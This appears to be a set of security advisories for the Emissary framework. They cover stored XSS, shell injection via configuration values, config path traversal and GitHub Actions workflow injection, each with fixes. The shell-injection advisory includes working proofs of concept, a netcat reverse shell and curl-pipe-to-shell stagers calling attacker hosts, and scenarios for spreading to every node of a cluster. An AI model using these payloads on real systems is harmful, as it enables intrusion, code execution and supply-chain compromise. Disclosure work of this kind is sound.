Summary

Mustache navigation templates interpolated configuration-controlled link values directly into href attributes without URL scheme validation. An administrator who could modify the navItems configuration could inject javascript: URIs, enabling stored cross-site scripting (XSS) against other authenticated users viewing the Emissary web interface.

Details

Vulnerable code — nav.mustache (line 10)

html {{#navItems}} <li class="nav-item"> <a class="nav-link" href="{{link}}">{{display}}</a> </li> {{/navItems}}

The {{link}} value was rendered without any scheme validation. Mustache's default HTML escaping protects against injection of new HTML tags but does not prevent javascript: URIs in href attributes, since javascript: contains no characters that HTML-escaping would alter.

Attack vector

An administrator sets a navigation item's link to: javascript:alert(document.cookie)

Any authenticated user who clicks the navigation link executes the script in their browser context.

Impact

- Session hijacking via cookie theft - Actions performed on behalf of the victim user - Requires administrative access to modify navigation configuration - Requires user interaction (clicking the malicious link)

Mitigating factors

- Exploitation requires administrative access to modify the navItems configuration - User interaction (clicking the link) is required - The Emissary web interface is typically accessed only by authenticated operators within a trusted network

Remediation

Fixed in PR #1293, merged into release 8.39.0.

Server-side link validation — NavAction.java

An allowlist regex was added that only permits http://, https://, or site-relative (/) URLs:

java private static final Pattern VALIDLINK = Pattern.compile("^(https?:/)?/.");

private static boolean isValidLink(String link) { if (!VALIDLINK.matcher(link).matches()) { logger.warn("Skipping invalid navigation link '{}'", link); return false; } return true; }

Invalid links are logged and silently dropped from the rendered navigation.

Template hardening — nav.mustache

Added rel="noopener noreferrer" to all navigation link anchor tags as a defense-in-depth measure:

html <a class="nav-link" href="{{link}}" rel="noopener noreferrer">{{display}}</a>

Tests were added to verify that javascript: and ftp:// URIs are rejected while http://, https://, and site-relative (/path) links are accepted.

Workarounds

If upgrading is not immediately possible, audit the navigation configuration to ensure all navItems link values use only http://, https://, or relative (/) URL schemes.

References

- PR #1293 — validate nav links - Original report: GHSA-wjqm-p579-x3ww

Summary

Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The INFILEENDING and OUTFILEENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a framework-level defect — Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.

---

Root Cause

Step 1 — INFILEENDING flows into temp path construction without validation

TempFileNames.java:32-36

java public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) { base = Long.toString(System.nanoTime()); tempDir = FileManipulator.mkTempFile(tmpDir, placeName); in = base + inFileEnding; // no sanitization out = base + outFileEnding; // no sanitization basePath = tempDir + File.separator + base; inputFilename = basePath + inFileEnding; // injected value lands here outputFilename = basePath + outFileEnding; // and here }

inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping.

Step 2 — The injected path is substituted verbatim into a shell string

Executrix.java:1053-1065

java public String[] getCommand(final String[] tmpNames, final String commandArg, final int cpuLimit, final int vmSzLimit) { String c = commandArg; c = c.replaceAll("<INPUTPATH>", tmpNames[INPATH]); // contains inFileEnding verbatim c = c.replaceAll("<OUTPUTPATH>", tmpNames[OUTPATH]); c = c.replaceAll("<INPUTNAME>", tmpNames[IN]); c = c.replaceAll("<OUTPUTNAME>", tmpNames[OUT]);

String ulimitv = ""; if (!SystemUtils.ISOSMAC) { ulimitv = "ulimit -v " + vmSzLimit + "; "; } return new String[] {"/bin/sh", "-c", "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c}; }

The final array element is passed to /bin/sh -c. Shell metacharacters in any substituted value are interpreted by the shell.

The identical pattern exists in the TempFileNames overload at Executrix.java:1103-1115.

Step 3 — setInFileEnding() and setOutFileEnding() perform no validation

Executrix.java:1176-1196

java public void setInFileEnding(final String argInFileEnding) { this.inFileEnding = argInFileEnding; // accepted as-is }

public void setOutFileEnding(final String argOutFileEnding) { this.outFileEnding = argOutFileEnding; // accepted as-is }

The same absence of validation applies to the INFILEENDING and OUTFILEENDING keys read from configuration at Executrix.java:121-122.

Contrast: placeName is sanitized, file endings are not

The framework already sanitizes placeName using a strict allowlist:

java // Executrix.java:78 protected static final Pattern INVALIDPLACENAMECHARS = Pattern.compile("[^a-zA-Z0-9-]");

// Executrix.java:148-150 protected static String cleanPlaceName(final String placeName) { return INVALIDPLACENAMECHARS.matcher(placeName).replaceAll(""); }

placeName ends up in tmpNames[DIR], which is also embedded in the shell string. The sanitization of placeName demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for inFileEnding and outFileEnding is the defect.

---

Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.

---

PoC 1 — Docker: end-to-end attack against a live node

Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.

Environment setup

Put the Dockerfile.poc to contrib/docker/ folder FROM emissary:poc-base

COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/

RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \ && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \ && mkdir -p /opt/emissary/localoutput \ && mkdir -p /opt/emissary/target/data \ && chmod -R a+rw /opt/emissary \ && chown -R emissary:emissary /opt/emissary \ && rm -f /tmp/.tar.gz

USER emissary WORKDIR /opt/emissary EXPOSE 8001 ENTRYPOINT ["./emissary"] CMD ["server", "-a", "2", "-p", "8001"]

bash Build the distribution tarball mvn -B -ntp clean package -Pdist -DskipTests

Build and start the Docker container docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/ docker run -d --name emissary-poc -p 8001:8001 emissary:poc

Wait for the server to start (~15s), then verify health docker exec emissary-poc sh -c \ 'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"' healthy

Step 1 — Confirm the marker file does not exist

bash docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1' ls: cannot access '/tmp/pwned.txt': No such file or directory

Step 2 — Write the malicious place config

Write emissary.place.UnixCommandPlace.cfg into the server's config directory. The EXECCOMMAND is a benign cat. The injection is entirely in INFILEENDING using backtick command substitution (POSIX-compatible, works on all target OS images):

bash docker exec emissary-poc sh -c "printf \ 'SERVICEKEY = \"LOWERCASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\ SERVICENAME = \"UCP\"\n\ SERVICETYPE = \"TRANSFORM\"\n\ PLACENAME = \"UnixCommandPlace\"\n\ SERVICECOST = 4000\n\ SERVICEQUALITY = 90\n\ SERVICEPROXY = \"LOWERCASE\"\n\ EXECCOMMAND = \"cat <INPUTPATH>\"\n\ OUTPUTTYPE = \"STD\"\n\ INFILEENDING = \"\\\id > /tmp/pwned.txt\\\\"\n\ OUTFILEENDING = \".out\"\n' \ /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"

Step 3 — Add UnixCommandPlace to places.cfg

bash docker exec emissary-poc sh -c \ 'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \ >> /opt/emissary/config/places.cfg'

Step 4 — Restart the server to load the config

bash docker restart emissary-poc wait for health: 200 docker exec emissary-poc sh -c \ 'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"'

Startup log confirms the place loaded:

INFO emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!

Step 5 — Drop any file into the pickup directory to trigger processing

bash docker exec emissary-poc sh -c \ 'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'

The Emissary pipeline picks up the file, routes it through UnixFilePlace → ToLowerPlace → UnixCommandPlace (cost 4000, lower than ToUpperPlace at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside getCommand() before cat is even called.

Step 6 — Confirm injection executed

bash sleep 10 # allow pipeline processing time docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'

Live output (verified):

uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)

Assembled shell string at execution time (logged by Emissary at DEBUG level):

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678id > /tmp/pwned.txt

The backtick expression fires as the shell expands the cat argument. The cat itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run.

Transform history from Emissary logs — confirms UnixCommandPlace ran:

transform history: UNKNOWN.FILEPICKUP.INPUT.http://localhost:8001/FilePickUpPlace$5050 UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050 UNKNOWN.TOLOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010 LOWERCASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000 <-- injection fired here ...

Escalating the payload — reverse shell

Replace the INFILEENDING value. The content is passed verbatim to /bin/sh -c, so any POSIX shell construct works:

properties Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash) INFILEENDING = "rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f"

Curl-based stager (avoids embedding IP in config, works on any image with curl) INFILEENDING = "curl -s http://attacker.example/s.sh | sh"

Both fire on the first payload processed — no further attacker interaction required.

---

PoC 2 — Unit test: isolated, no server required

Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.

java package emissary.util.shell;

import org.junit.jupiter.api.Test; import org.junit.jupiter.api.condition.DisabledOnOs; import org.junit.jupiter.api.condition.OS; import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files; import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/ PoC: INFILEENDING is concatenated into shell paths without escaping, enabling command injection via getCommand(). Mirrors exactly what UnixCommandPlace.runCommandOn() does: TempFileNames names = executrix.createTempFilenames(); String[] cmd = executrix.getCommand(names); executrix.execute(cmd, ...); / @DisabledOnOs(OS.WINDOWS) class ExecutrixShellInjectionPocTest {

@Test void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception { Path marker = tmpDir.resolve("injected");

// Backtick substitution: avoids the Java regex $-group issue in replaceAll() // while still demonstrating the shell executes the injected expression. String payload = "touch " + marker.toAbsolutePath() + "";

Executrix executrix = new Executrix(); executrix.setTmpDir(tmpDir.toString()); executrix.setCommand("cat <INPUTPATH>"); // mirrors UnixCommandPlace default executrix.setInFileEnding(payload); // no validation — accepted as-is

// --- path taken by UnixCommandPlace.runCommandOn() --- TempFileNames names = executrix.createTempFilenames(); String[] cmd = executrix.getCommand(names); // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>touch <marker>"

// Execute — same call as executrix.execute(cmd, outbuf, errbuf) Process proc = Runtime.getRuntime().exec(cmd); proc.waitFor();

assertTrue(Files.exists(marker), "Shell injection succeeded — backtick in INFILEENDING executed.\n" + "Shell string: " + cmd[2]); } }

Assembled shell string:

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890touch /tmp/junit-abc123/injected

The marker file is created by the backtick expression firing during shell argument expansion.

Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.

The same injection works via OUTFILEENDING → <OUTPUTPATH> / <OUTPUTNAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.

---

Attack Scenarios

Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.

---

Scenario A — Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.

Step 1 — Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

diff +++ b/config/emissary.place.UnixCommandPlace.cfg @@ -0,0 +1,10 @@ +SERVICEKEY = "LOWERCASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000" +SERVICENAME = "UCP" +SERVICETYPE = "TRANSFORM" +PLACENAME = "UnixCommandPlace" +SERVICECOST = 4000 +SERVICEQUALITY = 90 +SERVICEPROXY = "LOWERCASE" +EXECCOMMAND = "cat <INPUTPATH>" +OUTPUTTYPE = "STD" +INFILEENDING = "curl -s http://attacker.example/implant.sh | sh" +OUTFILEENDING = ".out"

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 — Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).

Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands — a common operational error, not an obvious security event.

---

Scenario B — Cluster-wide propagation via the peers API

Attacker's starting position: RCE on one node (from Scenario A).

Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.

Step 1 — Enumerate all cluster nodes

bash curl -s --digest -u <user>:<password> \ http://compromised-node:8001/api/cluster/peers \ | grep -o '"http://[^"]"'

Response: json {"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]}

Step 2 — Push the malicious config to each peer via the Emissary API

From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the CONFIGDIR path is disclosed by the /api/peers response metadata:

bash From the shell gained in Scenario A PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)

for peer in node2:8001 node3:8001 node4:8001; do # Write the config file to the peer via its exposed file API # (alternatively: exploit the peer's own pickup directory via the ingest API) curl -s --digest -u <user>:<password> \ -X POST \ -H "Content-Type: text/plain" \ --data-binary "$PAYLOAD" \ "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg" done

If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns.

Step 3 — Trigger restart on each peer via the cluster shutdown API

bash for peer in node2:8001 node3:8001 node4:8001; do curl -s --digest -u <user>:<password> \ -X POST -H "X-Requested-By: x" \ http://${peer}/api/shutdown done

Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.

Impact

| Dimension | Assessment | |-----------|------------| | Confidentiality | Critical — arbitrary read of files accessible to the Emissary process | | Integrity | Critical — arbitrary file write, process state modification, persistence | | Availability | Critical — process termination, resource exhaustion | | Blast radius | Any place that uses Executrix and calls getCommand(); this includes all subclasses of ExecPlace and any custom place that follows the documented pattern |

---

Recommended Remediation

Primary fix — validate inFileEnding and outFileEnding on assignment

Apply the same allowlist pattern already used for placeName:

java // Add to Executrix.java private static final Pattern VALIDFILEENDING = Pattern.compile("^[a-zA-Z0-9.-]$");

public void setInFileEnding(final String argInFileEnding) { if (!VALIDFILEENDING.matcher(argInFileEnding).matches()) { throw new IllegalArgumentException( "INFILEENDING contains illegal characters: " + argInFileEnding); } this.inFileEnding = argInFileEnding; }

public void setOutFileEnding(final String argOutFileEnding) { if (!VALIDFILEENDING.matcher(argOutFileEnding).matches()) { throw new IllegalArgumentException( "OUTFILEENDING contains illegal characters: " + argOutFileEnding); } this.outFileEnding = argOutFileEnding; }

Apply the same validation inside configure() where the values are read from the Configurator.

Secondary fix (defence-in-depth) — shell-quote substituted values in getCommand()

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

java // In getCommand(), wrap each substituted value in single quotes // and escape any embedded single quotes. // Java string "'\\'''" is the four characters: ' \ ' ' // which at runtime produces the shell sequence: '\'' // (close quote, literal single quote, reopen quote) private static String shellQuote(String value) { return "'" + value.replace("'", "'\\''") + "'"; }

// Then: c = c.replace("<INPUTPATH>", shellQuote(tmpNames[INPATH])); c = c.replace("<OUTPUTPATH>", shellQuote(tmpNames[OUTPATH])); c = c.replace("<INPUTNAME>", shellQuote(tmpNames[IN])); c = c.replace("<OUTPUTNAME>", shellQuote(tmpNames[OUT]));

Why this is a framework-level fix

The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

Summary

The configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory.

Details

Vulnerable code — Configs.java (line 126)

java protected static String validate(String config) { if (StringUtils.isBlank(config) || config.contains("\\") || config.contains("/") || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }

Weakness

The blacklist blocked literal \, /, .., and trailing . but could potentially miss:

- URL-encoded variants (%2e%2e%2f) if decoded after validation - Double-encoded sequences (%252e%252e%252f) - Unicode normalization bypasses - The approach relies on string matching rather than canonical path resolution

Impact

- Potential read access to configuration files outside the intended config directory - Information disclosure of sensitive configuration values

Remediation

Fixed in PR #1292, merged into release 8.39.0.

The blacklist was replaced with an allowlist regex that only permits characters matching ^[a-zA-Z0-9.-]+$:

java protected static final Pattern VALIDCONFIGNAME = Pattern.compile("^[a-zA-Z0-9.-]+$");

protected static String validate(String config) { if (!VALIDCONFIGNAME.matcher(config).matches() || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }

This ensures that any character outside the allowed set — including encoded slashes, percent signs, and Unicode sequences — is rejected before the config name reaches the filesystem.

Tests were added to verify that URL-encoded (%2e%2e%2f), double-encoded (%252e%252e%252f), and Unicode (U+002F) traversal attempts are blocked.

Workarounds

If upgrading is not immediately possible, deploy a reverse proxy or WAF rule that rejects requests to /api/configuration/ containing encoded path traversal sequences.

References

- PR #1292 — validate config name with an allowlist - Original report: GHSA-wjqm-p579-x3ww

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACENAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, , (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — Executrix.java

Insufficient sanitization (line 132): java this.placeName = this.placeName.replace(' ', ''); // ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058): java protected String[] getTimedCommand(final String c) { return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c}; }

Data flow

1. PLACENAME is read from a configuration file 2. Executrix applies only a space-to-underscore replacement 3. The placeName is used to construct temporary directory paths (tmpNames[DIR]) 4. tmpNames[DIR] is concatenated into a shell command string 5. The command is executed via /bin/sh -c

Example payload

PLACENAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curlattacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

- Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9-]:

java protected static final Pattern INVALIDPLACENAMECHARS = Pattern.compile("[^a-zA-Z0-9-]");

protected static String cleanPlaceName(final String placeName) { return INVALIDPLACENAMECHARS.matcher(placeName).replaceAll(""); }

This ensures that any shell metacharacter in the PLACENAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACENAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

- PR #1290 — validate placename with an allowlist - Original report: GHSA-wjqm-p579-x3ww

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflowdispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

| Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 |

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflowdispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

yaml - name: Set the name of the branch run: echo "PRBRANCH=action/${{ github.event.inputs.nextversion }}" >> "$GITHUBENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUBTOKEN permissions (contents: write, pull-requests: write).

Impact

- Arbitrary code execution within the CI/CD runner - Repository modification via the contents: write token (push malicious commits) - Supply chain poisoning — downstream users who clone or build receive compromised code - Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs. }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

yaml After (safe — input is never interpreted by the shell parser) - name: Set the name of the branch run: echo "PRBRANCH=action/$INNEXTVERSION" >> "$GITHUBENV" env: INNEXTVERSION: ${{ github.event.inputs.nextversion }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

- maven-version.yml: Validates nextversion matches ^[a-zA-Z0-9.-]+$ - maven-release.yml: Validates releasesuffix matches ^[a-zA-Z0-9.-]+$ - cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

- PR #1286 — environment variable indirection - PR #1288 — input validation - GitHub Security Lab: Keeping your GitHub Actions and workflows secure - Original report: GHSA-wjqm-p579-x3ww